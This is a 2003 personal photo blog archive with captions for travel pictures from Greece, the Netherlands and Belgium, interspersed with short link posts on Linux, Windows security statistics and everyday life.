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Berries (2) Photos, Netherlands, Nature 
Bergen, The Netherlands, september 14, 2003, 17:53
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Berries (1) Photos, Netherlands, Nature 
Bergen, The Netherlands, september 14, 2003, 17:49.
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Spider web Photos, Netherlands 
Bergen, The Netherlands, september 14, 2003, 17:36.
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Silverwork Photos, Greece 
September 13, 2003, 13:29.
Silverwork from Ioannina, Greece.
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The Google Book Photos, Netherlands 
Bergen, near the Ruin Church, The Netherlands, september 13, 2003, 11:18.
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Sawn (1) Photos, Amsterdam, Netherlands 
Amsterdam, railway station Duivendrecht, september 11, 2003, 18:01.
Economy is far more important than nature in Amsterdam southeast. Now, two and a half months later, these trees are still there, exactly as I photographed them. That makes their fall even more useless.
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Clouds Photos, Netherlands, Amsterdam 
Amsterdam southeast, september 11, 2003, 17:52.
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Wild Peter Photos, Netherlands 
Grand cafe De Wilde Pieters, Apeldoorn, 5 september 2003, 19:22.
No, this black kid is not tied with a rope. Het consists of two parts, to make him more portable.
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Drive Photos, Netherlands 
Royal palace Het Loo, Apeldoorn, The Netherlands, september 5, 2003, 16:37.
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Lawn Photos, Netherlands 
Royal palace Het Loo, Apeldoorn, The Netherlands, september 5, 2003, 16:28.
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Statue Photos, Netherlands 
Royal palace Het Loo, Apeldoorn, The Netherlands, september 5, 2003, 16:27.
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Palace garden Photos, Netherlands, Panoramas 
Royal palace Het Loo, Apeldoorn, The Netherlands, september 5, 2003, 16:23. Panorama of seven photos.
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Palace Het Loo Photos, Netherlands 
Royal palace Het Loo, Apeldoorn, The Netherlands, september 5, 2003, 15:42.
Small? Perhaps, but this is only a minor palace, for royal holidays, now turned into a museum. Unfortunately taking pictures inside the building is not allowed.
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Weesp Photos, Netherlands 
Weesp, The Netherlands, september 1, 2003, 13:51.
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Flevoland Photos, Netherlands 
Flevoland, The Netherlands, september 1, 2003, 13:45.
Flevoland is a new province, created from the sea in the 20th century.
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Albania from above Photos, Greece 
The south of Albania, september 1, 2003, 11:24.
In the upper left corner is the Greek island Corfu. The river on the left is the downstream part of the river Aoos and the river Voidomatis, that run through the Vikos-Aoos national park.
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Mountain pass Photos, Greece 
Between Sparti and Kalamata, Mani, Greece, august 30, 2003, 17:33.
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Mani Photos, Greece 
South Mani, Greece, august 30, 2003, around 11 AM.
The sun burns down on stairway shaped olive yards.
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The caves of Diros (3) Photos, Greece 
The caves of Diros, Greece, august 30, 2003, 10:10.
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The caves of Diros (2) Photos, Greece 
The caves of Diros, Greece, august 30, 2003, 10:09.
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Blur (8) Photos, Greece, Blur 
The caves of Diros, Greece, august 30, 2003, 9:42.
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The caves of Diros (1) Photos, Greece 
The caves of Diros, Greece, august 30, 2003, 9:37.
In such a boat we were carried through the caves. this boat was on its way back to pick up new passengers. In some places, the water was 30 meters deep.
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Mani dawn Photos, Greece 
Mani coastline south of Kalamata, Greece, august 30, 2003, around 8 AM.
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The port of Kalamata Photos, Greece 
Kalamata, Greece, august 29, 2003, 21:39.
On our first exploration through Kalamata we found a festival, presenting all the foods of the area, such as olive oil, breads, pastries, pies, cookies, sauceges, baklava and lemonade. For free. Accompanied by local music groups and floating fireworks.
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Castle of Nafplio Photos, Greece 
Nafplio, Greece, august 29, 2003, 8:56.
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Brand new ancient Photos, Greece 
Epidavros, Griekenland, 28 augustus 2003, 9:29.
The archeological site of Epidavros is entirely being rebuilt. All over the site, workers are making brand new ancient stones.
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Corinthian capital Photos, Greece 
Epidavros, Griekenland, 28 augustus 2003, 9:13.
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Maria at Epidavros Photos, Greece, Panoramas 
Epidavros, Greece, august 28, 2003, 8:29.
Panorama of six photos.
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Onnoot at Epidavros Photos, Greece 
Epidavros, Greece, august 28, 2003, 8:19.
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On the road to Epidavros Photos, Greece 
Between Nafplio and Epidavros, Greece, august 28, 2003, 7:36.
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Talking with a dog Greece, Lifelog While aunt Tassia was preparing food in the kitchen, we (Elli, Yannis, Eleni, Maria and I) amused ourselves with the dog.
"Δώσε μου το χέρι," said Elli. Gina gave her a foot.
Hm, let me try that too, I thought.
"Δώσε μου το χέρι," I said. Gina gave me a foot.
My Greek is improving. Greek dogs understand me already. Onno - nov 13, 2003, 18:45 -
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Castle by night Photos, Greece 
Nafplio, Greece, august 27, 2003, 21:08.
Nafplio contains two castles and a fortress. This photo shows the largest castle on a dark hill.
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First parliament building Photos, Greece 
Nafplio, Greece, august 27, 2003, 18:49.
After centuries of Turkish occupation, this was the first building in which the Greek parliament held office, from 1829 to 1834.
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Asterix in Nafplio Photos, Greece 
Nafplio, Greece, august 27, 2003, 17:57.
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Synthesizer powered by Linux ICT, Linkdump Look here. Is it a bird? Is it a plane? No, it's a synth that runs Linux. Onno - nov 11, 2003, 14:08 -
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Departure cross Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 27, 2003, 10:42.
A moment before they drive off, the priest and the novice munk make a cross gesture.
We leave the monastry too, taking 15 litre of olive oil from the monastry gardens with us.
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Farewell Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 27, 2003, 10:39.
The confession father of maria leaves the monastry te return to his main base somewhere in Halkidiki.
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Church (4) Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 27, 2003, 07:29.
The first service starts at 7 AM. The confession father of Maria reads from the gospel.
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Nun on balcony Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 26, 2003, 20:44.
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The youngest pilgrim Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 26, 2003, 19:03.
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Taverna Ocalan Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 26, 2003, 18:11.
Ocalan? Yes, the Kurd leader that was arrested by the Turks some years ago and sentenced to death. How that happenend, and what it has to do with the fragile Turkish-Greek relations, is described here.
Meanwhile Onnoot is puzzled by this sign in the monastry. There was no taverna in the neighbourhood. If you have any clue, please share it with us.
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Icon Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 26, 2003, 15:22.
15:23.
This is the icon that is said to cure people by the perfume it leaks, and has supposedly been painted by one of the apostoles. No doubt the metal artwork is from a later date. The crosses above the icon are tokens of gratitute from pilgrims whose prairs have been answered.
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Nun in the inner court Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 26, 2003, 12:33.
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A monk's bedroom Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 26, 2003, 11:52.
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Answerbus ICT, Linkdump Hey, a new search engine. Nice toy. Onno - nov 7, 2003, 17:01 -
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Monastry kitchen Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 26, 2003, 11:13.
The boy on the left is Theofilos. When he was one year old, he had a fatal disease and he was given up by the doctors. Then his mother took him to the monastry, rubbed him with the miraculous perfume and from that day on he was getting better and better. Now he is completely healthy. Every summer, he and his mother visit the monastry. Here, he is folding sleeves for cassette tapes.
In the center is Despina. Coincidently we met her again here in the monastry. Well, not a big coincidence, because the confession father of Maria is the uncle of Despina.
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Malevis monastery (3) Photos, Greece, Panoramas 
Monastery of Malevis, Agios Petros, Pelloponesos, Greece, august 26, 2003, 11:09.
Panorama of 4 photos.
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Stained glass window Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 26, 2003, 11:05.
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Chapel Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 26, 2003, 11:04.
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Malevis monastry (2) Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 25, 2003, 22:20.
The inner court of the monastry at night. In the distance the lights of the village Agios Petros (saint Peter).
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Sunset over Pelloponesos Photos, Greece 
Monastry of Malevis, Agios Petros, Pelloponesos, Greece, august 25, 2003, 19:51.
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Malevis monastry (1) Photos, Greece, Panoramas 
Malevis monastry, Agios Petros, Pelloponisos, Greece, august 25, 2003, 18:41. Panorama of eight photos.
From whole Greece, women with childwish come to this monastry. In the small church is a famous icon that they say has been painted by apostol Luke, sometime in the first century. The icon leaks from time to time a fluid that smells nice. The nuns of the monastry collect this fluid with pads, because they say it can cure many diseases. The pads with the fragrance is given to visitors.
We came especially to visit the confession father of Maria. This priest is also the confession father of the nuns, so he stays there regularly. When the nuns found out Maria had not only the same confession father but that this priest was also a distant uncle of Maria, they gave us a VIP treatment.
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Mistral at Mystras Photos, Greece 
Mystras, Greece, august 25, 2003.
"You will have sunny weather all week," said the man from the car rental company in Kalamata.
We were going to Mystras, a medieval archeological fortified city near Sparti. And there a giant wind started blowing. All sand, dried out by weeks of heat, hit us in the eyes, ears, nose and other openings. Somewhere under a gate we had to take shelter. There were ten other visitors hiding. Not that it helped much, because the sand was everywhere. When I opened my camera that night, a beam of sand came poring out that would make an hour glass jealous.
After the wind came the thunder and the rain. From our high position we could see the lightning strike ground below us. On the above picture, the first shower has passed and the second is coming down from the mountains.
Maria kijkt een vertrekkende onweersbui na.
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Across the gulf Photos, Greece 
Andirio, Greece, august 24, 2003, 17:21.
At Andirio the sun shines again.
17:08.
Now with the ferry. In the future over the bridge.
17:29.
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131_3138-druppels.jpg Photos, Greece 
Somewhere between Ioannina and Arta, Greece, august 24, 2003, 14:10.
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Bus Photos, Greece 
Somewhere between Ioannina and Arta, Greece, august 24, 2003, 14:09.
Onward to Pellopnisos.
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Raining cats and dogs and grapes Photos, Greece 
Konitsa, Greece, august 24, 2003, 8:34.
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Kitty Photos, Greece 
Konitsa, Greece, august 2003.
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120_3127-processie.jpg Photos, Greece 
Konitsa, Greece, august 23, 2003.
The procession ends on the village square in the centre. There, this girl listens to a speech from the bisshop.
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The procession Photos, Greece 
Konitsa, Greece, august 23, 2003.
Priests carry an icon of saint Kosmas in the procession.
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Blur (7) Photos, Greece, Blur 
Konitsa, Greece, august 23, 2003.
A boy is carrying a banner in the procession for saint Kosmas.
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Before the procession Photos, Greece, Panoramas 
Konitsa, Greece, august 23, 2003.
Everyone in Konitsa comes to the church square. After shooting this panorama (zeven photos), the square became thrice as crowded. The soldiers made a corridor through the crowd for the procession.
This photo shows a few half transparent people. This phenomenon is called "ghosting" and it occurs in panoramas where the individual photos overlap each other.
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Priests Photos, Greece 
Konitsa, Greece, august 23, 2003.
Every august the 23rd, all of Konitsa celebrates saint Kosmas with a procession. Priests from the area come to join the celebration.
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Kalambokia Photos, Greece 
Konitsa, Greece, august 22, 2003.
Evchenia fries corn.
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Dutch tv news pays Lifelog The Dutch tv news has payed 600 euro for unpermitted use of my photo. I'm happy. Onno - oct 28, 2003, 23:22 -
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Shower Photos, Greece 
Kavasila, Greece, august 22, 2003.
Before Onnoot goes into the sulfur bath, he first has to wash off the mud.
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Sulfur bath Photos, Greece 
Kavasila, Greece, august 22, 2003.
The next day, Evchenia was allowed in.
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Water snake Photos, Greece, Nature 
Kavasila, Greece, august 22, 2003.
But watch where you step!
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Onnoot in the mud Photos, Greece 
Kavasila, Greece, august 22, 2003.
They say this is very healthy: to have your mother-in-law put sulfur-mud on you.
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The sulfur baths of Kavasila Photos, Greece 
Kavasila, Greece, august 21, 2003.
Every morning a bus goes from Konitsa to the baths of Kavasila. There is a smell of rotting eggs, but after a while one gets used to it. There are baths in the open air and inside a sober building. There are also a doctor and a physio therapist, though the small entrance fee of the dozen guests could never be enough to sustain them. This doctor has measured the blood pressure of Evchenia. Alas, Evchenia has forgotten to take her pills and her blood pressure is too high to bathe.
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Souvlaki Photos, Greece 
Konitsa, Greece, august 20, 2003.
Dimitrios bakes delicious souvlaki (meat on sticks) on the oven near the back door.
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Aunt Marika Photos, Greece 
Konitsa, Greece, august 20, 2003.
Marika, the aunt of Maria's mother, is collecting fruit and vegetables from her garden.
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Butterfly (2) Photos, Greece, Nature 
Konitsa, Greece, august 20, 2003.
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Insect Photos, Greece, Nature 
Konitsa, Greece, august 20, 2003.
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35 degrees Celsius Photos, Greece 
Konitsa, Greece, august 20, 2003.
That's 95 degrees Fahrenheit. And the humidity was 75%.
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Crocodile Photos, Greece 
Konitsa, Greece, august 20, 2003.
Konitsa has two internet cafe's. One is brand new and clean, has fast computers that work, and there are always people.
This crocodile swims in the other.
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Evripidis Photos, Greece 
Konitsa, Greece, august 19, 2003.
The theatre group of Ioannina performs a play by Evripidis (Euripidis), Helena if I remember correctly. A king loses his wife but she is brought back from the underworld by hero Herakles. The king, here in red, does not know that this woman is his wife, and refuses her, because he is loyal to his wife beyond death. Herakles, the big man on the right, is about to enlighten him.
In the dark background: the old secondary school of Maria.
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Blur (6) Photos, Greece, Blur 
Valley of Konitsa, Greece, august 18, 2003.
Left the valley of Konitsa, where Aoos and Voidomatis join, cloaked in evening fog. Right is a branch of the Timfi mountains. The orange lights are from Klidonia, a village along the road between Konitsa and Ioannina.
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Microsoft sucks (2) ICT In an effort to call Windows more safe than competitors, Steve Ballmer abuses the numbers.
"The first 150 days of Red Hat 6, go check the number, just go check the number. It's five to ten times higher than what we are showing," Ballmer said. Go check the number, well, here we go.
1.
Red Hat 6.0 is four years old and replaced by Red Hat 9. Windows 2003 is brand new. Windows NT, that is as old as Red Hat 6.0, contained twice as many holes as Red Hat.
2.
The number of holes does not tell anything about their severety.
3.
Red Hat comes on three cdroms packed with free software. Windows contains a lot less software. For Windows, you have to buy all that software separately, and it's not taken into the comparison.
The Register
Why Open Source software? Look at the numbers! See chapter 6 paragraph 3. Onno - oct 23, 2003, 10:34 -
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Insect Photos, Greece, Nature 
Konitsa, Greece, august 18, 2003.
So this is what's making the noise.
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Swim suits Photos, Greece 
Konitsa, Greece, august 18, 2003.
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Swimming sisters Photos, Greece 
Konitsa, Greece, 18 augustus 2003.
Maria and Elli bathe in the river Aos. Left is the peak of Gamila, 2000 meter higher than the river. The peak right of Gamila carries the dragon lake, Draklimni.
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Bow bridge Photos, Greece 
Konitsa, Greece, august 18, 2003.
Maria and her sister Elli walk under the old bow bridge of Konitsa. This is more than a bridge: it is the entrance gate to the Vikos Aoos national park.
Under the bridge hangs a bell. If the wind triggers the bell, it is too dangerous to cross the bridge.
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Seeds Photos, Greece, Nature 
Paleoselli, Greece, august 17, 2003.
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Traditional clothes Photos, Greece 
Padhes, Greece, august 17, 2003.
After a memorial service, women in traditional clothing bring coffee to priests and other officially invited guests. The priest on the left with the grey beard is the bisshop of the area of Konitsa.
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Picknick site Photos, Greece 
Paleoselli, Greece, august 17, 2003.
Elly, Yannis and Maria. On the background: Gamila.
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Escher in Legoland Linkdump, Humor 
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After the walk Photos, Greece 
Paleoselli, Greece, august 16, 2003.
After a walk we rest at the edge of the village. From left to right: Yannis, Elli, Niki, Yannis, Nikos, Dimitra, Dimitrios, Maria, Evchenia.
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Power lines Photos, Greece 
Paleoselli, Greece, august 16, 2003.
Power lines reflect the sunlight. In the background: Trapezitsa.
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Through Paleoselli Photos, Greece 
Paleoselli, Greece, august 16, 2003.
A typical image of the village. Maria's mother and Elly are walking to aunt Dimitra for lunch.
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Caterpillar Photos, Greece, Nature 
Paleoselli, Greece, august 16, 2003.
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Chicken Photos, Greece 
Paleoselli, Greece, august 16, 2003.
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Flower field Photos, Greece, Nature 
Paleoselli, Greece, august 16, 2003.
No wonder the flowers bloom so exuberantly. It's the horse dung.
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Horse Photos, Greece, Nature 
Paleoselli, Greece, august 16, 2003.
After church, this country-woman takes her horse from the meadow near the church and walks home. On the background: the Timfi mountain range, with Gamilia (2497 meter) as its highest peak.
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Bone box Photos, Greece 
Paleoselli, Greece, august 16, 2003.
In this box are the bones of the uncle of Maria, Steryos Karaferis (ΣΤΕΡΓΙΟΣ ΚΑΡΑΦΕΡΗΣ). He died in a car crash in 1983, together with his wife, daughter and mother (the grandmother of Maria). Maria would go with them that day, but she had the flu.
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Wasp on a watermelon flower Photos, Greece, Nature 
Paleoselli, Greece, august 16, 2003.
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Insects Photos, Greece, Nature 
Paleoselli, Greece, august 16, 2003.
Various insects on a branch. Left an ant. Right two insects who's name I don't know, but we have them in the Netherlands too. Above them, lice.
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Lice and ants Photos, Greece, Nature 
Paleoselli, Greece, august 16, 2003.
Lice are drinking the juice of this plant. Ants drum on the backs of the lice, which stimulates them to produce a fluid, that the ants drink.
The Greek word for ant is μυρμήγκι (myrmingi), surprisingly similar to the Dutch word mier.
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Road cross Photos, Greece 
The lights of Nikos' car illuminate a road cross. Everywhere there is a road cross, someone has died in an accident. Rich families build big and impressive monuments, poor families simple and small. Because of the thirst for speed, the deep gorges, the fallen stones and the challenging roads, the crosses are omnipresent. Other road users regard them as warnings.
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Paleoselli by night Photos, Greece 
Paleoselli, Greece, august 15, 2003.
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Picknick Photos, Greece 
Vikos-Aoos national park, Greece, august 15, 2003.
Picknick on a bank in the river Aoos. From left to right: Yannis, Elli, Niki, Maria, Nikos.
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Trapezitsa Photos, Greece, Nature 
Vikos-Aoos national park, Greece, august 15, 2003.
The sun, descending behind mount Trapezitsa (2200 meters), is reflected in the water of the river Aos. This photo shows the flat top of Trapezitsa, probably the reason for its name "small table".
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Mirror Photos, Greece 
Vikos-Aoos national park, Greece, august 15, 2003.
Nikos takes us from Paleoselli, at 1200 meters, down to the river Aos, at 500 meters, over a dirt road.
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Padhes Photos, Greece 
Padhes, Greece, august 15, 2003. From left to right: Elly, Yannis, Dhespina, Niki, Maria.
The father of Nikos comes from Padhes. Nikos was going to the pub to find friends of his father, while we sought the shadow of the church yard. There we met Despina. She's Australian, travelling in Greece to visit her Greek relatives. Nikos is her cousin.
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Frog (2) Photos, Greece, Nature 
rmata, Greece, august 15, 2003.
A frog is swimming in a tub that collects the water that just powered the saw-mill.
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Saw-mill Photos, Greece 
rmata, Greece, august 15, 2003.
Nikos is standing on a saw-mill, powered by water. Also in Paleoselli there have been several watermills, but they have been replaced long ago by fuel powered equipment.
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Elly & Yannis Photos, Greece 
Greece, somewhere between Paleoselli and rmata, august 15, 2003.
Cousin Nikos takes us on a car trip.
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Dance Photos, Greece 
Paleoselli, Greece, august 15, 2003.
After church, people dance on the church square.
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Church (3) Photos, Greece 
Paleoselli, Greece, august 15, 2003.
The church of Paleoselli is leaning 5 degrees.
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Ready for church Photos, Greece 
Paleoselli, Greece, august 15, 2003.
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Scorpion Photos, Greece 
Paleoselli, Greece, august 14, 2003.
"Hey Yanni, don't lean back, there is a scorpion right behind you..."
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Festival in Paleoselli Photos, Greece 
Paleoselli, Greece, august 14, 2003.
Every year around august 15th it's party time in Paleoselli. People eat souvlaki (meat on a stick), they dance, and the whole night there will be folklore music with a trembling clarinet, that will keep the whole village awake, aided by electronics. This is the kitchen where they make the souvlaki. A banner says: "ΣΥΛΛΟΓΟΣ ΠΑΛΑΙΟΣΕΛΛΙΟΥ", that is Syllogos Paleoselliou, that means community of Paleoselli.
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Yawn Photos, Greece 
Paleoselli, Greece, august 2003.
The mountain house of Maria's parents contains an impressive collection of antique swords, pans, irons and less recognisable objects. Maria's mother told us that this was a drum for burning coffee beans.
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"Ich bin dein Glcksbr" Photos, Greece 
Paleoselli, Greece, august 2003.
"How did that German lucky bear get here?"
"Elly has won it once at a fair."
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To Paleoselli Photos, Greece 
Konitsa, Greece, august 2003, 15:51.
Cousin Nikos takes us to Paleoselli in his car.
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Bridge (1) Photos, Greece 
Greece, Vikos-Aoos nationaal park, the old bridge of Konitsa, august 14, 2003, 15:25.
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Leaf in the water Photos, Greece, Nature 
Greece, Vikos-Aoos national park, the river Aos, august 14, 2003, 14:48.
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Moth Photos, Greece, Nature 
Greece, Vikos-Aoos nationaal park, Aos vallei, 14 augustus 2003, 14:08.
A kolibri-like moth of 2 or 3 inches long.
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Butterfly (1) Photos, Greece, Nature 
Greece, Vikos-Aoos national park, Aos valley, august 14, 2003, 13:50.
For days Onnoot had been trying to take photos of butterflies, to no avail. Until Onnoot saw this butterfly landing on the road. In living statue mode Onnoot came closer. After minutes Onnoot found out why the insect didn't fly away. It was dead.
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Quartz Photos, Greece, Nature 
Greece, Vikos-Aoos national park, Aos valley, august 14, 2003, 13:36.
"Are you OK?"
"Yes, I'm fine."
"Do you have enough water?"
"Yes. Why?"
"You walk very strangely and slowly. You seem to have all the symptoms of dehydration!"
"I walk this way because I am looking for crystals. If I walk in this pattern I will see them reflecting in the sunlight."
"Ah, I see... I'm sorry for disturbing you."
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Turtle Photos, Greece, Nature 
Konitsa, Greece, august 14, 2003, 12:26.
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Earthquake Photos, Greece, Lifelog 
Konitsa, Greece, august 14, 2003, 10:46.
The tv reports there has been an earthquake of 6.4 on the Richter scale at Lefkada. Buildings collapsed, tourists get off the island or stay home. Also in Parga, where we had been a few days before, there has been some damage. But in Konitsa, above the red circle, we didn't feel anything.
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Onno and Dimitrios Photos, Greece 
Konitsa, Greece, august 14, 2003, 10:01.
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Fly on a corn leaf Photos, Greece, Nature 
Konitsa, Greece, august 14, 2003, 9:58.
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Flower Photos, Greece, Nature 
Konitsa, Greece, august 14, 2003, 9:50.
A fly sits on the stem of a flower. The Dutch name of the flower is "klimmende winde", but I don't know the English name.
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Damaged flower Photos, Greece, Nature 
Konitsa, Greece, august 14, 2003, 9:44.
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Sunset above the border Photos, Greece, Panoramas 
Konitsa, Greece, august 13, 2003, 20:46.
Seen from the roof of my parents in law. The mountains on the right are in Albania. Panorama made of eight pictures.
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IBM keyboards ICT Onnoot makes more typing errors nowadays. That's partly because Onnoot used to have a fine IBM keyboard, but it's broken now. Now Onnoot has to type on a standard piece of chewing gum.
IBM keyboards are the best. They have a click mechanism that allows you to both feel and hear if a key is properly pressed. This way, you will notice many typo's before you see them on the screen. Unfortunately the very old IBM keyboard (it didn't even have a Windows key!) just stopt working from one moment to the next. Onnoot will have to do more effort to correct errors. Onno - oct 11, 2003, 18:35 -
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Frog fish Photos, Greece, Nature 
Greece, Vikos-Aoos national park, the river Aos, august 13, 2003, 13:59.
It was a fish and it will be a frog.
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The river Aoos Photos, Greece, Nature 
Greece, Vikos-Aoos national park, the river Aos, augustus 13, 2003, 13:56.
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Frog (1) Photos, Greece, Nature 
Greece, Vikos-Aoos national park, the river Aos, august 13, 2003, 13:53.
This frog was only an inch long. It took Onnoot 5 minutes of playing "living statue" to get close enough.
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Berries Photos, Greece, Nature 
Konitsa, Greece, august 13, 2003, 10:31.
Berries on a bush and trees on mount Trapezitsa ("small table"). The sun rises above the mountain.
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Ikonisma Photos, Greece 
Konitsa, Greece, august 12, 2003, 21:58.
The icon corner of my parents in law.
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Get the picture (3) Photos, Greece 
Konitsa, Greece, august 12, 2003, 21:27.
Yes, it's audience participation time!
Hint: it's not a space ship.
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Cat wants to go inside Photos, Greece 
Konitsa, Greece, august 12, 2003, 19:43.
But it's not allowed in.
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Fly on flower Photos, Greece, Nature 
Konitsa, Greece, august 12, 2003, 19:23.
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Going out Photos, Greece 
Parga, Greece, august 10, 2003, 22:41.
Eleni and her two friends walk over the quay.
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Eleni Photos, Greece 
Parga, Greece, august 10, 2003.
"Can that thing do black and white?"
"Sure, no problem."
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Maria and Eleni Photos, Greece 
Parga, Greece, august 10, 2003, 20:45.
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Procession in Parga Photos, Greece 
Parga, Greece, august 6, 2003, 20:12.
In the church stands an icon of Maria, mother of Jezus, who's soul leaves her dead body and rises to heaven.
20:12. Outside of the church, the people of Parga wait until the procession begins. The blue flags represent Greece, the yellow flags represent the orthodox church.
20:14. The brass band is (almost) ready.
20:53. The procession arrives in the port. Priests walk in front of the icon.
20:56. The main part of the procession goes on board.
21:07. The icon is brought to the church on the island. There it will stay for three weeks.
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Confused pianist Photos, Lifelog 
Amsterdam, Paradiso, october 7, 2003, 21:28.
Grigoris Semitekolo plays a confused pianist in the piece Anaparastasis III of composer Jani Christou. Other musicians: Asko Ensemble (be warned: their site has sound - and a lot of it). The wife of Grigoris is a famous pianist in Greece and she has tought Maria for years at the conservatory of Athens.
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Linux more secure than Windows ICT The Register explains why Linux is safer than Windows.
Interestingly, there is one Linux distribution that is less secure: Lindows. Of all distributions, this is the one that most tries to resemble Windows. Not a coincidence, Onnoot thinks. Onno - oct 7, 2003, 10:14 -
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Paxi Photos, Greece 
Paxi, Greece, august 6, 2003.
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Enslaved by the music industry Linkdump My goodness. I am so glad that we never broke through with our band. Onno - oct 6, 2003, 13:27 -
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Antipaxi Photos, Greece 
Antipaxi, Greece, august 6, 2003.
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Ionian sea Photos, Greece 
Ionian sea, Greece, august 6, 2003, 10:31.
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Lights in the water Photos, Greece 
Parga, Greece, august 5, 2003.
Lights of the port reflect in the seawater.
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Blur (5) Photos, Blur 
Parga, Greece, august 4, 2003.
Two persons on a scooter.
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Krio Neri beach (2) Photos, Greece 
Parga, Greece, august 4, 2003.
Ioanian waves on the beach of Parga.
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The island of Parga Photos, Greece 
Parga, Griekenland.
The island is the greatest attraction of Parga. It lies at swimming distance from beach and town. It can be seen from the whole town. It has a small beach with shadow. It has a small chapel. It has a small church. It has a ruin of a small castle, from which you can see the sea and the mainland.
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Late children Photos, Greece 
Parga, Greece, august 3, 2003, 22:33.
Greek children play computer games until late in the night.
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Beach Photos, Greece 
Parga, Greece, august 3, 2003.
A beach at the eastern end of Parga, in darkness.
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Krio Neri beach (1) Photos, Greece 
Parga, Greece, august 3, 2003.
Krio Neri beach seen through the hat of Maria. At this beach we have swum a week. Then someone told us that the drain system of the city ends here. The locals prefer not to mention it.
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Parga at night Photos, Greece 
Parga, Epirus, Greece, august 2, 2003.
On the left is the ruin of an old castle, that once belonged to the notorious dictator Ali Pasha. Against it lies the town of Parga. In the foreground are various boats.
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Above the clouds Photos 
Probably Germany, taken from a Transavia charter flight on its way to Aktio/Preveza airport, Greece. August 2, 2003.
The next 166 photos will be from Greece.
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Amstel river (1) Photos, Amsterdam, Netherlands 
Amsterdam, Amstel, seen from Nieuwe Amstelbrug bridge, july 30, 2003.
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Van Gogh museum Photos, Amsterdam, Netherlands 
Amsterdam, Museumplein (museum square), july 30, 2003.
The shadow of the Stedelijk museum falls on the new wing of the Van Gogh museum.
It's not easy for foreigners to pronounce the name of Van Gogh. "Van" sounds like "fun". "Gogh" is pronounced like "Hoh", while with both H'es you push your tongue back against your throat.
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Americain Photos, Amsterdam, Netherlands 
Amsterdam, Leidseplein, Hotel Americain, july 30, 2003.
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Remco Photos, People 
Amsterdam, july 30, 2003.
Onnoot calls him Remco Flamenco. He specialises in photographing and playing flamenco.
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Her hole area Linkdump, Humor The daily life of George, helpdesk technician, as experienced by his victims. His way of expressing gets funnier with every example. Especially this one:
she is getting error message that say undliveriable messages, her hole area cannot send externail emails
Found through Retecool. Onno - oct 2, 2003, 23:19 -
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Erection Photos, Amsterdam, Netherlands 
Amsterdam, Oudezijds Achterburgwal, july 18, 2003.
Us, tasteful?
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Tongues Photos, Humor 
Amsterdam, Bijenkorf warehouse, july 18, 2003.
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Hat Photos, People 
Amsterdam, Bijenkorf warehouse, july 18, 2003.
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Scheveningen Photos 
The Netherlands, Scheveningen, july 15, 2003.
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Skyline of Bruges Photos 
Belgium, Bruges, july 5, 2003.
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Except lawyers Photos, Humor 
Belgium, Bruges, july 5, 2003.
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Spiral traffic light Photos 
Belgium, Oostende, july 5, 2003.
In the port, this giant traffic light has to explain to navigators that the bridge is closed.
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Boy with balloon Photos 
Belgium, Oostende, july 5, 2003.
Onnoot was about to take artistic pictures of chairs in a row, when suddenly this boy stood before the lens. Onnoot did not hesitate and pressed the button.
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Hotel & Thalassa Photos 
Belgium, Oostende, july 5, 2003.
On a hotel at the coast is a sign saying "Andromeda Hotel & Thalassa". Thalassa is the Greek word for sea. It would seem that the sign is addressing Greek tourists in Oostende. But there are hardly any Greek tourists in Oostende. Furthermore, the Greek word for hotel is not hotel but xenothoheo. A mystery...
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A seagull called Bwam Photos 
Belgium, Oostende, july 5, 2003.
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Oostende Photos 
Belgium, Oostende, july 5, 2003.
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Nun in the attic Photos 
Belgium, Bruges, Wijngaardplein, july 5, 2003.
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Tiny backyard Photos, Panoramas 
Belgium, Bruges, Augustijnenrei, july 5, 2003. Panorama of several photos.
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Courtyard Photos, Panoramas 
Belgium, Bruges, probably Onze Lieve Vrouwekerkhof, 4 juli 2003. Panorama made of 9 pictures.
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Making lace Photos 
Belgium, Bruges, probably Oude Burg, july 4, 2003.
In front of a shop with lace, a woman in traditional clothing is making lace. She uses pins as anchor points and around the pins, she twists the threads. The finished part of the lace is covered by a transparent piece of plastic. Beside, also under the plastic, is the example that she is copying.
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Belfry Photos 
Belgium, Bruges, Markt, july 4, 2003.
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Coaches Photos 
Belgium, Bruges, Markt, july 4, 2003. On the old market square, tourist coaches are waiting for passengers.
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Swans Photos 
Belgium, Bruges, Gouden Handrei, july 4, 2003.
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Rain on the attic window Photos 
Belgium, Bruges, july 3, 2003. Raindrops on the window of budget hotel Bauhaus.
If you want really fresh sheets on your bed, go elsewhere.
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Two Americans in Holland Linkdump A couple from the USA came to Holland because they liked the country. They really did! On their website they report. Recommended for anyone interested in the Netherlands. Onno - sep 27, 2003, 21:34 -
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Towers Photos 
Belgium, Bruges, Steenhouwersdijk, july 3, 2003.
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Orange Photos 
Belgium, Bruges, Burg, july 3, 2003.
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Gabriella Photos, People 
Amsterdam, june 30, 2003. Gabriella is a pianist from Hungaria who studies in Cologne. She stayed at our place and played a magnificent Grieg's piano concerto.
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Dutch tv news uses my photo Photos, Lifelog 
Now that's weird. I was watching the news (NOS Journaal, the most famous Dutch news program) and suddenly I saw my picture in the background. Nice, but not so nice is that they hadn't asked me for permission. Now according to the Dutch Federation of Photographers I have the right to send them a bill 3 or 4 times the normal price.
The next edition also included my photo.
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Flowers and bee Photos, Nature 
The Netherlands, Bergen, june 27, 2003.
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Globe (1) Photos 
The Netherlands, Bergen, june 27, 2003.
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Blur (4) Photos, Blur 
Amsterdam southeast, june 24, 2003. The ring freeway seen from the train from Utrecht.
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Blur (3) Photos, Blur 
Amsterdam southeast, june 24, 2003. Taken from the train from Utrecht. Long exposure with the camera panned towards the crossing.
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Chicken Photos, Amsterdam, Netherlands 
